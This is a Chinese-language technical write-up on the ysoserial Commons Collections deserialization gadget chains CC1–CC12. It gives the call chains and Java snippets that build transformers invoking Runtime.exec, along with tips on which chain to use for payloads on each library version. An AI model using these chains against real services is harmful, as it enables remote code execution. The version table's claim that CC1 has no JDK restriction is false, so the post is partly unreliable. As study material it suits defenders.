Ysoserial-CC1-12再排列组合一下就可以有CC-N了
字数 2723 2025-08-10 00:23:58
Apache Commons Collections反序列化漏洞全解析
一、Common-collections简介
Apache Commons Collections是Apache软件基金会的项目,提供可重用的、解决各种实际通用问题的开源Java代码。它包含了许多有用的数据结构实现和工具类,广泛应用于Java开发中。
二、Common-Collections反序列化漏洞链分析
1. commons-collections1
关键点:
- 入口点:
AnnotationInvocationHandler的readObject - 触发点:
LazyMap的get方法
后半段链构造:
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class},
new Object[] {"open /System/Applications/Calculator.app"})
});
关键接口:
public interface Transformer {
Object transform(Object var1);
}
关键类:
InvokerTransformer:通过反射调用任意方法ConstantTransformer:返回固定值ChainedTransformer:链式调用多个Transformer
前半段链:
- 使用
LazyMap#get方法触发transform AnnotationInvocationHandler的readObject触发代理对象的调用
2. commons-collections2
关键入口点:PriorityQueue#readObject
触发流程:
readObject->heapify()heapify()->siftDown()siftDownUsingComparator->TransformingComparator#compare
3. commons-collections3
特点:使用InstantiateTransformer.transform()
关键点:
- 将input设置为
TrAXFilter - 调用
TrAXFilter构造方法触发TemplatesImpl#newTransformer newTransformer调用getTransletInstance执行恶意类static语句块
4. commons-collections4
特点:前半段使用CC2的PriorityQueue触发方式,后半段与CC1相同
5. commons-collections5
触发点:TiedMapEntry中的toString方法
调用链:
toString() -> getValue() -> LazyMap#get()
6. commons-collections6
触发点:TiedMapEntry#hashCode
调用链:
hashCode() -> getValue() -> LazyMap#get()
7. commons-collections7
触发点:AbstractMap#equals
调用链:
equals() -> LazyMap#get()
8. commons-collections8
触发点:HashSet#readObject
调用链:
readObject() -> put() -> hash() -> TiedMapEntry#hashCode()
9. commons-collections9
特点:使用DefaultedMap代替LazyMap,适用于3.2版本
10. commons-collections10
调用链:
Hashtable.readObject()
-> Hashtable.reconstitutionPut
-> key.hashCode() => TiedMapEntry.hashCode()
-> TiedMapEntry.getValue
-> TiedMapEntry.map.get() => LazyMap.get()
-> factory.transform() => ChainedTransformer.transform()
-> Runtime.getRuntime().exec()
11. commons-collections11
特点:前半段使用CC2,后半段使用CC6
关键代码:
// 动态创建恶意字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
12. commons-collections12
特点:引入JavaScript支持执行更多命令
Transformer构造:
String[] execArgs = new String[]{cmd};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(ScriptEngineManager.class),
new InvokerTransformer("newInstance", new Class[0], new Object[0]),
new InvokerTransformer("getEngineByName", new Class[]{String.class},
new Object[]{"JavaScript"}),
new InvokerTransformer("eval", new Class[]{String.class}, execArgs),
new ConstantTransformer(1)
};
三、漏洞链汇总与适用性分析
1. 各链适用版本
| 链编号 | Commons Collections版本 | JDK版本限制 |
|---|---|---|
| CC1 | 3.1 | 无 |
| CC2 | 4.0 | 无 |
| CC3 | 3.1 | 无 |
| CC4 | 4.0 | 无 |
| CC5 | 3.1 | 无 |
| CC6 | 3.1 | 无 |
| CC7 | 3.1 | 无 |
| CC8 | 4.0 | 无 |
| CC9 | 3.2.1 | 无 |
| CC10 | 3.1 | 无 |
| CC11 | 3.1-3.2.1 | 无 |
| CC12 | 3.1 | 无 |
2. 实战建议
-
通用payload生成建议:
- 对于Commons Collections 4.0:使用CC4或CC3生成payload
- 对于Commons Collections 3.1:使用CC10或CC11生成payload
-
测试环境:
- JDK7 + commons-collections4-4.0:生成CC4、CC3 payload
- JDK7 + commons-collections3.1:生成CC10或CC11 payload
四、防御措施
- 升级Apache Commons Collections到最新安全版本
- 使用SerialKiller等工具进行反序列化过滤
- 在JVM级别配置反序列化过滤器
- 避免反序列化不可信数据